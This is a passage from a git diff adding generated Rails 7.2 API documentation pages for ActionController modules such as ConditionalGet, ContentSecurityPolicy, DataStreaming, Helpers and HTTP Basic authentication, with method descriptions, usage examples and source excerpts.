+                      last_modified: Time.new(2011, 1, 1).utc,
+                      public: public)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + no_store() + +

+ + +
+

Sets an HTTP 1.1 Cache-Control header of no-store. This means the resource may not be stored in any cache.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/conditional_get.rb, line 327
+    def no_store
+      response.cache_control.replace(no_store: true)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + stale?(object = nil, **freshness_kwargs) + +

+ + +
+

Sets the etag and/or last_modified on the response and checks them against the request. If the request doesn’t match the provided options, it is considered stale, and the response should be rendered from scratch. Otherwise, it is fresh, and a 304 Not Modified is sent.

+ +

Options

+ +

See fresh_when for supported options.

+ +

Examples

+ +
def show
+  @article = Article.find(params[:id])
+
+  if stale?(etag: @article, last_modified: @article.updated_at)
+    @statistics = @article.really_expensive_call
+    respond_to do |format|
+      # all the supported formats
+    end
+  end
+end
+
+ +

You can also just pass a record:

+ +
def show
+  @article = Article.find(params[:id])
+
+  if stale?(@article)
+    @statistics = @article.really_expensive_call
+    respond_to do |format|
+      # all the supported formats
+    end
+  end
+end
+
+ +

etag will be set to the record, and last_modified will be set to the record’s updated_at.

+ +

You can also pass an object that responds to maximum, such as a collection of records:

+ +
def index
+  @articles = Article.all
+
+  if stale?(@articles)
+    @statistics = @articles.really_expensive_call
+    respond_to do |format|
+      # all the supported formats
+    end
+  end
+end
+
+ +

In this case, etag will be set to the collection, and last_modified will be set to maximum(:updated_at) (the timestamp of the most recently updated record).

+ +

When passing a record or a collection, you can still specify other options, such as :public and :cache_control:

+ +
def show
+  @article = Article.find(params[:id])
+
+  if stale?(@article, public: true, cache_control: { no_cache: true })
+    @statistics = @articles.really_expensive_call
+    respond_to do |format|
+      # all the supported formats
+    end
+  end
+end
+
+ +

The above will set Cache-Control: public, no-cache in the response.

+ +

When rendering a different template than the controller/action’s default template, you can indicate which digest to include in the ETag:

+ +
def show
+  super if stale?(@article, template: "widgets/show")
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/conditional_get.rb, line 236
+    def stale?(object = nil, **freshness_kwargs)
+      fresh_when(object, **freshness_kwargs)
+      !request.fresh?(response)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/ConditionalGet/ClassMethods.html b/src/7.2/classes/ActionController/ConditionalGet/ClassMethods.html new file mode 100644 index 0000000000..042b4cad7a --- /dev/null +++ b/src/7.2/classes/ActionController/ConditionalGet/ClassMethods.html @@ -0,0 +1,112 @@ +--- +title: ActionController::ConditionalGet::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + etag(&etagger) + +

+ + +
+

Allows you to consider additional controller-wide information when generating an ETag. For example, if you serve pages tailored depending on who’s logged in at the moment, you may want to add the current user id to be part of the ETag to prevent unauthorized displaying of cached pages.

+ +
class InvoicesController < ApplicationController
+  etag { current_user&.id }
+
+  def show
+    # Etag will differ even for the same invoice when it's viewed by a different current_user
+    @invoice = Invoice.find(params[:id])
+    fresh_when etag: @invoice
+  end
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/conditional_get.rb, line 33
+      def etag(&etagger)
+        self.etaggers += [etagger]
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/ContentSecurityPolicy.html b/src/7.2/classes/ActionController/ContentSecurityPolicy.html new file mode 100644 index 0000000000..29c2d7243d --- /dev/null +++ b/src/7.2/classes/ActionController/ContentSecurityPolicy.html @@ -0,0 +1,89 @@ +--- +title: ActionController::ContentSecurityPolicy +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + +

Included Modules

+ + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/ContentSecurityPolicy/ClassMethods.html b/src/7.2/classes/ActionController/ContentSecurityPolicy/ClassMethods.html new file mode 100644 index 0000000000..9aa6579190 --- /dev/null +++ b/src/7.2/classes/ActionController/ContentSecurityPolicy/ClassMethods.html @@ -0,0 +1,187 @@ +--- +title: ActionController::ContentSecurityPolicy::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + content_security_policy(enabled = true, **options, &block) + +

+ + +
+

Overrides parts of the globally configured Content-Security-Policy header:

+ +
class PostsController < ApplicationController
+  content_security_policy do |policy|
+    policy.base_uri "https://www.example.com"
+  end
+end
+
+ +

Options can be passed similar to before_action. For example, pass only: :index to override the header on the index action only:

+ +
class PostsController < ApplicationController
+  content_security_policy(only: :index) do |policy|
+    policy.default_src :self, :https
+  end
+end
+
+ +

Pass false to remove the Content-Security-Policy header:

+ +
class PostsController < ApplicationController
+  content_security_policy false, only: :index
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/content_security_policy.rb, line 40
+      def content_security_policy(enabled = true, **options, &block)
+        before_action(options) do
+          if block_given?
+            policy = current_content_security_policy
+            instance_exec(policy, &block)
+            request.content_security_policy = policy
+          end
+
+          unless enabled
+            request.content_security_policy = nil
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + content_security_policy_report_only(report_only = true, **options) + +

+ + +
+

Overrides the globally configured Content-Security-Policy-Report-Only header:

+ +
class PostsController < ApplicationController
+  content_security_policy_report_only only: :index
+end
+
+ +

Pass false to remove the Content-Security-Policy-Report-Only header:

+ +
class PostsController < ApplicationController
+  content_security_policy_report_only false, only: :index
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/content_security_policy.rb, line 66
+      def content_security_policy_report_only(report_only = true, **options)
+        before_action(options) do
+          request.content_security_policy_report_only = report_only
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/Cookies.html b/src/7.2/classes/ActionController/Cookies.html new file mode 100644 index 0000000000..ecc0f3d668 --- /dev/null +++ b/src/7.2/classes/ActionController/Cookies.html @@ -0,0 +1,101 @@ +--- +title: ActionController::Cookies +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Private methods

+ +
+

+ + cookies() + +

+ + +
+

The cookies for the current request. See ActionDispatch::Cookies for more information.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/cookies.rb, line 16
+      def cookies # :doc:
+        request.cookie_jar
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/DataStreaming.html b/src/7.2/classes/ActionController/DataStreaming.html new file mode 100644 index 0000000000..80007516f7 --- /dev/null +++ b/src/7.2/classes/ActionController/DataStreaming.html @@ -0,0 +1,214 @@ +--- +title: ActionController::DataStreaming +layout: default +--- +
+ +
+
+ +
+ +

Action Controller Data Streaming

+ +

Methods for sending arbitrary data and for streaming files to the browser, instead of rendering.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + + +

Instance Private methods

+ +
+

+ + send_data(data, options = {}) + +

+ + +
+

Sends the given binary data to the browser. This method is similar to render plain: data, but also allows you to specify whether the browser should display the response as a file attachment (i.e. in a download dialog) or as inline data. You may also set the content type, the file name, and other things.

+ +

Options: * :filename - suggests a filename for the browser to use. * :type - specifies an HTTP content type. Defaults to application/octet-stream. You can specify either a string or a symbol for a registered type with Mime::Type.register, for example :json. If omitted, type will be inferred from the file extension specified in :filename. If no content type is registered for the extension, the default type application/octet-stream will be used. * :disposition - specifies whether the file will be shown inline or downloaded. Valid values are "inline" and "attachment" (default). * :status - specifies the status code to send with the response. Defaults to 200.

+ +

Generic data download:

+ +
send_data buffer
+
+ +

Download a dynamically-generated tarball:

+ +
send_data generate_tgz('dir'), filename: 'dir.tgz'
+
+ +

Display an image Active Record in the browser:

+ +
send_data image.data, type: image.content_type, disposition: 'inline'
+
+ +

See send_file for more information on HTTP Content-* headers and caching.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/data_streaming.rb, line 120
+      def send_data(data, options = {}) # :doc:
+        send_file_headers! options
+        render options.slice(:status, :content_type).merge(body: data)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + send_file(path, options = {}) + +

+ + +
+

Sends the file. This uses a server-appropriate method (such as X-Sendfile) via the Rack::Sendfile middleware. The header to use is set via config.action_dispatch.x_sendfile_header. Your server can also configure this for you by setting the X-Sendfile-Type header.

+ +

Be careful to sanitize the path parameter if it is coming from a web page. send_file(params[:path]) allows a malicious user to download any file on your server.

+ +

Options: * :filename - suggests a filename for the browser to use. Defaults to File.basename(path). * :type - specifies an HTTP content type. You can specify either a string or a symbol for a registered type with Mime::Type.register, for example :json. If omitted, the type will be inferred from the file extension specified in :filename. If no content type is registered for the extension, the default type application/octet-stream will be used. * :disposition - specifies whether the file will be shown inline or downloaded. Valid values are "inline" and "attachment" (default). * :status - specifies the status code to send with the response. Defaults to 200. * :url_based_filename - set to true if you want the browser to guess the filename from the URL, which is necessary for i18n filenames on certain browsers (setting :filename overrides this option).

+ +

The default Content-Type and Content-Disposition headers are set to download arbitrary binary files in as many browsers as possible. IE versions 4, 5, 5.5, and 6 are all known to have a variety of quirks (especially when downloading over SSL).

+ +

Simple download:

+ +
send_file '/path/to.zip'
+
+ +

Show a JPEG in the browser:

+ +
send_file '/path/to.jpeg', type: 'image/jpeg', disposition: 'inline'
+
+ +

Show a 404 page in the browser:

+ +
send_file '/path/to/404.html', type: 'text/html; charset=utf-8', disposition: 'inline', status: 404
+
+ +

You can use other Content-* HTTP headers to provide additional information to the client. See MDN for a list of HTTP headers.

+ +

Also be aware that the document may be cached by proxies and browsers. The Pragma and Cache-Control headers declare how the file may be cached by intermediaries. They default to require clients to validate with the server before releasing cached responses. See www.mnot.net/cache_docs/ for an overview of web caching and RFC 9111 for the Cache-Control header spec.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/data_streaming.rb, line 76
+      def send_file(path, options = {}) # :doc:
+        raise MissingFile, "Cannot read file #{path}" unless File.file?(path) && File.readable?(path)
+
+        options[:filename] ||= File.basename(path) unless options[:url_based_filename]
+        send_file_headers! options
+
+        self.status = options[:status] || 200
+        self.content_type = options[:content_type] if options.key?(:content_type)
+        response.send_file path
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/DefaultHeaders.html b/src/7.2/classes/ActionController/DefaultHeaders.html new file mode 100644 index 0000000000..f49955416f --- /dev/null +++ b/src/7.2/classes/ActionController/DefaultHeaders.html @@ -0,0 +1,75 @@ +--- +title: ActionController::DefaultHeaders +layout: default +--- +
+ +
+
+ +
+ +

Action Controller Default Headers

+ +

Allows configuring default headers that will be automatically merged into each response.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/DefaultHeaders/ClassMethods.html b/src/7.2/classes/ActionController/DefaultHeaders/ClassMethods.html new file mode 100644 index 0000000000..19ddacdbd6 --- /dev/null +++ b/src/7.2/classes/ActionController/DefaultHeaders/ClassMethods.html @@ -0,0 +1,103 @@ +--- +title: ActionController::DefaultHeaders::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + make_response!(request) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/default_headers.rb, line 14
+      def make_response!(request)
+        ActionDispatch::Response.create.tap do |res|
+          res.request = request
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/EtagWithFlash.html b/src/7.2/classes/ActionController/EtagWithFlash.html new file mode 100644 index 0000000000..1ea6599c9f --- /dev/null +++ b/src/7.2/classes/ActionController/EtagWithFlash.html @@ -0,0 +1,76 @@ +--- +title: ActionController::EtagWithFlash +layout: default +--- +
+ +
+
+ +
+ +

Action Controller Etag With Flash

+ +

When you’re using the flash, it’s generally used as a conditional on the view. This means the content of the view depends on the flash. Which in turn means that the ETag for a response should be computed with the content of the flash in mind. This does that by including the content of the flash as a component in the ETag that’s generated for a response.

+ +
+ + + + + + + + + + + + + + +

Included Modules

+ + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/EtagWithTemplateDigest.html b/src/7.2/classes/ActionController/EtagWithTemplateDigest.html new file mode 100644 index 0000000000..b0dec59ce8 --- /dev/null +++ b/src/7.2/classes/ActionController/EtagWithTemplateDigest.html @@ -0,0 +1,90 @@ +--- +title: ActionController::EtagWithTemplateDigest +layout: default +--- +
+ +
+
+ +
+ +

Action Controller Etag With Template Digest

+ +

When our views change, they should bubble up into HTTP cache freshness and bust browser caches. So the template digest for the current action is automatically included in the ETag.

+ +

Enabled by default for apps that use Action View. Disable by setting

+ +
config.action_controller.etag_with_template_digest = false
+
+ +

Override the template to digest by passing :template to fresh_when and stale? calls. For example:

+ +
# We're going to render widgets/show, not posts/show
+fresh_when @post, template: 'widgets/show'
+
+# We're not going to render a template, so omit it from the ETag.
+fresh_when @post, template: false
+
+ +
+ + + + + + + + + + + + + + +

Included Modules

+ + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/Flash.html b/src/7.2/classes/ActionController/Flash.html new file mode 100644 index 0000000000..580913d2c7 --- /dev/null +++ b/src/7.2/classes/ActionController/Flash.html @@ -0,0 +1,124 @@ +--- +title: ActionController::Flash +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Private methods

+ +
+

+ + redirect_to(options = {}, response_options_and_flash = {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/flash.rb, line 53
+      def redirect_to(options = {}, response_options_and_flash = {}) # :doc:
+        self.class._flash_types.each do |flash_type|
+          if type = response_options_and_flash.delete(flash_type)
+            flash[flash_type] = type
+          end
+        end
+
+        if other_flashes = response_options_and_flash.delete(:flash)
+          flash.update(other_flashes)
+        end
+
+        super(options, response_options_and_flash)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/Flash/ClassMethods.html b/src/7.2/classes/ActionController/Flash/ClassMethods.html new file mode 100644 index 0000000000..fc5d134cb1 --- /dev/null +++ b/src/7.2/classes/ActionController/Flash/ClassMethods.html @@ -0,0 +1,124 @@ +--- +title: ActionController::Flash::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + add_flash_types(*types) + +

+ + +
+

Creates new flash types. You can pass as many types as you want to create flash types other than the default alert and notice in your controllers and views. For instance:

+ +
# in application_controller.rb
+class ApplicationController < ActionController::Base
+  add_flash_types :warning
+end
+
+# in your controller
+redirect_to user_path(@user), warning: "Incomplete profile"
+
+# in your view
+<%= warning %>
+
+ +

This method will automatically define a new method for each of the given names, and it will be available in your views.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/flash.rb, line 34
+      def add_flash_types(*types)
+        types.each do |type|
+          next if _flash_types.include?(type)
+
+          define_method(type) do
+            request.flash[type]
+          end
+          helper_method(type) if respond_to?(:helper_method)
+
+          self._flash_types += [type]
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/FormBuilder.html b/src/7.2/classes/ActionController/FormBuilder.html new file mode 100644 index 0000000000..b54025e43f --- /dev/null +++ b/src/7.2/classes/ActionController/FormBuilder.html @@ -0,0 +1,144 @@ +--- +title: ActionController::FormBuilder +layout: default +--- +
+ +
+
+ +
+ +

Action Controller Form Builder

+ +

Override the default form builder for all views rendered by this controller and any of its descendants. Accepts a subclass of ActionView::Helpers::FormBuilder.

+ +

For example, given a form builder:

+ +
class AdminFormBuilder < ActionView::Helpers::FormBuilder
+  def special_field(name)
+  end
+end
+
+ +

The controller specifies a form builder as its default:

+ +
class AdminAreaController < ApplicationController
+  default_form_builder AdminFormBuilder
+end
+
+ +

Then in the view any form using form_for will be an instance of the specified form builder:

+ +
<%= form_for(@instance) do |builder| %>
+  <%= builder.special_field(:name) %>
+<% end %>
+
+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + default_form_builder() + +

+ + +
+

Default form builder for the controller

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/form_builder.rb, line 51
+    def default_form_builder
+      self.class._default_form_builder
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/FormBuilder/ClassMethods.html b/src/7.2/classes/ActionController/FormBuilder/ClassMethods.html new file mode 100644 index 0000000000..194dccae06 --- /dev/null +++ b/src/7.2/classes/ActionController/FormBuilder/ClassMethods.html @@ -0,0 +1,106 @@ +--- +title: ActionController::FormBuilder::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + default_form_builder(builder) + +

+ + +
+

Set the form builder to be used as the default for all forms in the views rendered by this controller and its subclasses.

+ +

Parameters

+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/form_builder.rb, line 45
+      def default_form_builder(builder)
+        self._default_form_builder = builder
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/Head.html b/src/7.2/classes/ActionController/Head.html new file mode 100644 index 0000000000..71443d5872 --- /dev/null +++ b/src/7.2/classes/ActionController/Head.html @@ -0,0 +1,143 @@ +--- +title: ActionController::Head +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + head(status, options = nil) + +

+ + +
+

Returns a response that has no content (merely headers). The options argument is interpreted to be a hash of header names and values. This allows you to easily return a response that consists only of significant headers:

+ +
head :created, location: person_path(@person)
+
+head :created, location: @person
+
+ +

It can also be used to return exceptional conditions:

+ +
return head(:method_not_allowed) unless request.post?
+return head(:bad_request) unless valid_request?
+render
+
+ +

See Rack::Utils::SYMBOL_TO_STATUS_CODE for a full list of valid status symbols.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/head.rb, line 23
+    def head(status, options = nil)
+      if status.is_a?(Hash)
+        raise ArgumentError, "#{status.inspect} is not a valid value for `status`."
+      end
+
+      status ||= :ok
+
+      if options
+        location = options.delete(:location)
+        content_type = options.delete(:content_type)
+
+        options.each do |key, value|
+          headers[key.to_s.split(/[-_]/).each { |v| v[0] = v[0].upcase }.join("-")] = value.to_s
+        end
+      end
+
+      self.status = status
+      self.location = url_for(location) if location
+
+      if include_content?(response_code)
+        unless self.media_type
+          self.content_type = content_type || ((f = formats) && Mime[f.first]) || Mime[:html]
+        end
+
+        response.charset = false
+      end
+
+      self.response_body = ""
+
+      true
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/Helpers.html b/src/7.2/classes/ActionController/Helpers.html new file mode 100644 index 0000000000..dc62f38ac9 --- /dev/null +++ b/src/7.2/classes/ActionController/Helpers.html @@ -0,0 +1,196 @@ +--- +title: ActionController::Helpers +layout: default +--- +
+ +
+
+ +
+ +

Action Controller Helpers

+ +

The Rails framework provides a large number of helpers for working with assets, dates, forms, numbers and model objects, to name a few. These helpers are available to all templates by default.

+ +

In addition to using the standard template helpers provided, creating custom helpers to extract complicated logic or reusable functionality is strongly encouraged. By default, each controller will include all helpers. These helpers are only accessible on the controller through #helpers

+ +

In previous versions of Rails the controller will include a helper which matches the name of the controller, e.g., MyController will automatically include MyHelper. You can revert to the old behavior with the following:

+ +
# config/application.rb
+class Application < Rails::Application
+  config.action_controller.include_all_helpers = false
+end
+
+ +

Additional helpers can be specified using the helper class method in ActionController::Base or any controller which inherits from it.

+ +

The to_s method from the Time class can be wrapped in a helper method to display a custom message if a Time object is blank:

+ +
module FormattedTimeHelper
+  def format_time(time, format=:long, blank_message="&nbsp;")
+    time.blank? ? blank_message : time.to_fs(format)
+  end
+end
+
+ +

FormattedTimeHelper can now be included in a controller, using the helper class method:

+ +
class EventsController < ActionController::Base
+  helper FormattedTimeHelper
+  def index
+    @events = Event.all
+  end
+end
+
+ +

Then, in any view rendered by EventsController, the format_time method can be called:

+ +
<% @events.each do |event| -%>
+  <p>
+    <%= format_time(event.time, :short, "N/A") %> | <%= event.name %>
+  </p>
+<% end -%>
+
+ +

Finally, assuming we have two event instances, one which has a time and one which does not, the output might look like this:

+ +
23 Aug 11:30 | Carolina Railhawks Soccer Match
+N/A | Carolina Railhawks Training Workshop
+
+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [RW] + helpers_path
+ + + + + +

Instance Public methods

+ +
+

+ + helpers() + +

+ + +
+

Provides a proxy to access helper methods from outside the view.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/helpers.rb, line 125
+    def helpers
+      @_helper_proxy ||= view_context
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/Helpers/ClassMethods.html b/src/7.2/classes/ActionController/Helpers/ClassMethods.html new file mode 100644 index 0000000000..d716012a9a --- /dev/null +++ b/src/7.2/classes/ActionController/Helpers/ClassMethods.html @@ -0,0 +1,201 @@ +--- +title: ActionController::Helpers::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + helper_attr(*attrs) + +

+ + +
+

Declares helper accessors for controller attributes. For example, the following adds new name and name= instance methods to a controller and makes them available to the view: attr_accessor :name helper_attr :name

+ +

Parameters

+
  • +

    attrs - Names of attributes to be converted into helpers.

    +
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/helpers.rb, line 84
+      def helper_attr(*attrs)
+        attrs.flatten.each { |attr| helper_method(attr, "#{attr}=") }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + helpers() + +

+ + +
+

Provides a proxy to access helper methods from outside the view.

+ +

Note that the proxy is rendered under a different view context. This may cause incorrect behavior with capture methods. Consider using helper instead when using capture.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/helpers.rb, line 94
+      def helpers
+        @helper_proxy ||= begin
+          proxy = ActionView::Base.empty
+          proxy.config = config.inheritable_copy
+          proxy.extend(_helpers)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + modules_for_helpers(args) + +

+ + +
+

Override modules_for_helpers to accept :all as argument, which loads all helpers in helpers_path.

+ +

Parameters

+
  • +

    args - A list of helpers

    +
+ +

Returns

+
  • +

    array - A normalized list of modules for the list of helpers provided.

    +
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/helpers.rb, line 112
+      def modules_for_helpers(args)
+        args += all_application_helpers if args.delete(:all)
+        super(args)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/HttpAuthentication.html b/src/7.2/classes/ActionController/HttpAuthentication.html new file mode 100644 index 0000000000..479fca2c71 --- /dev/null +++ b/src/7.2/classes/ActionController/HttpAuthentication.html @@ -0,0 +1,77 @@ +--- +title: ActionController::HttpAuthentication +layout: default +--- +
+ +
+
+ +
+ +

HTTP Basic, Digest, and Token authentication.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/HttpAuthentication/Basic.html b/src/7.2/classes/ActionController/HttpAuthentication/Basic.html new file mode 100644 index 0000000000..b46f95df8e --- /dev/null +++ b/src/7.2/classes/ActionController/HttpAuthentication/Basic.html @@ -0,0 +1,455 @@ +--- +title: ActionController::HttpAuthentication::Basic +layout: default +--- +
+ +
+
+ +
+ +

HTTP Basic authentication

+ +

Simple Basic example

+ +
class PostsController < ApplicationController
+  http_basic_authenticate_with name: "dhh", password: "secret", except: :index
+
+  def index
+    render plain: "Everyone can see me!"
+  end
+
+  def edit
+    render plain: "I'm only accessible if you know the password"
+  end
+end
+
+ +

Advanced Basic example

+ +

Here is a more advanced Basic example where only Atom feeds and the XML API are protected by HTTP authentication. The regular HTML interface is protected by a session approach:

+ +
class ApplicationController < ActionController::Base
+  before_action :set_account, :authenticate
+
+  private
+    def set_account
+      @account = Account.find_by(url_name: request.subdomains.first)
+    end
+
+    def authenticate
+      case request.format
+      when Mime[:xml], Mime[:atom]
+        if user = authenticate_with_http_basic { |u, p| @account.users.authenticate(u, p) }
+          @current_user = user
+        else
+          request_http_basic_authentication
+        end
+      else
+        if session_authenticated?
+          @current_user = @account.users.find(session[:authenticated][:user_id])
+        else
+          redirect_to(login_url) and return false
+        end
+      end
+    end
+end
+
+ +

In your integration tests, you can do something like this:

+ +
def test_access_granted_from_xml
+  authorization = ActionController::HttpAuthentication::Basic.encode_credentials(users(:dhh).name, users(:dhh).password)
+
+  get "/notes/1.xml", headers: { 'HTTP_AUTHORIZATION' => authorization }
+
+  assert_equal 200, status
+end
+
+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + auth_param(request) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/http_authentication.rb, line 130
+      def auth_param(request)
+        request.authorization.to_s.split(" ", 2).second
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + auth_scheme(request) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/http_authentication.rb, line 126
+      def auth_scheme(request)
+        request.authorization.to_s.split(" ", 2).first
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + authenticate(request, &login_procedure) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/http_authentication.rb, line 108
+      def authenticate(request, &login_procedure)
+        if has_basic_credentials?(request)
+          login_procedure.call(*user_name_and_password(request))
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + authentication_request(controller, realm, message) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/http_authentication.rb, line 138
+      def authentication_request(controller, realm, message)
+        message ||= "HTTP Basic: Access denied.\n"
+        controller.headers["WWW-Authenticate"] = %(Basic realm="#{realm.tr('"', "")}")
+        controller.status = 401
+        controller.response_body = message
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + decode_credentials(request) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/http_authentication.rb, line 122
+      def decode_credentials(request)
+        ::Base64.decode64(auth_param(request) || "")
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + encode_credentials(user_name, password) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/http_authentication.rb, line 134
+      def encode_credentials(user_name, password)
+        "Basic #{::Base64.strict_encode64("#{user_name}:#{password}")}"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + has_basic_credentials?(request) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/http_authentication.rb, line 114
+      def has_basic_credentials?(request)
+        request.authorization.present? && (auth_scheme(request).downcase == "basic")
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + user_name_and_password(request) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/http_authentication.rb, line 118
+      def user_name_and_password(request)
+        decode_credentials(request).split(":", 2)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/HttpAuthentication/Basic/ControllerMethods.html b/src/7.2/classes/ActionController/HttpAuthentication/Basic/ControllerMethods.html new file mode 100644 index 0000000000..a7f63ebda6 --- /dev/null +++ b/src/7.2/classes/ActionController/HttpAuthentication/Basic/ControllerMethods.html @@ -0,0 +1,236 @@ +--- +title: ActionController::HttpAuthentication::Basic::ControllerMethods +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + authenticate_or_request_with_http_basic(realm = nil, message = nil, &login_procedure) + +

+ + +
